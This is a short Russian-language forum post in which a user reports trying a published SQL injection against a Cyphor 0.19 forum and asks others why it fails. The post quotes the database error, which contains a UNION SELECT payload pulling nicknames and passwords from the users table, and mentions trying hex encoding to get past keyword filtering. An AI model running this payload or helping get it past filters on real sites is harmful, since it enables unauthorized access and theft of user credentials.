Показать сообщение отдельно

  #1  
Старый 03.01.2016, 23:14
anybeni
Новичок
Регистрация: 03.01.2016
Сообщений: 3
С нами: 5452886

Репутация: 0
По умолчанию

Пробовал вот эту sql инъекцию: cxsecurity.com/issue/WLB-2005110041 на форуме Cyphor версии: 0.19

Выдает сообщение "MySQL Error: Invalid SQL: SELECT * FROM cyphor_ WHERE id=-10 union select id,null,null,null,null,nick,password,null,null,nul l from users where id=1

Database error: 1064 (You have an error in your SQL syntax near 'union select id,null,null,null,null,nick,password,null,null,nul l from users wher' at line 1)

Please contact us [info@сайт.org] and specify the exact error message.

Session halted.

Это из-за того, что фильтруются слова select и union? Замена их на шестнадцатеричные значения дала тот же результат.

Подскажите из-за чего может вылетать это сообщение?
 
Ответить с цитированием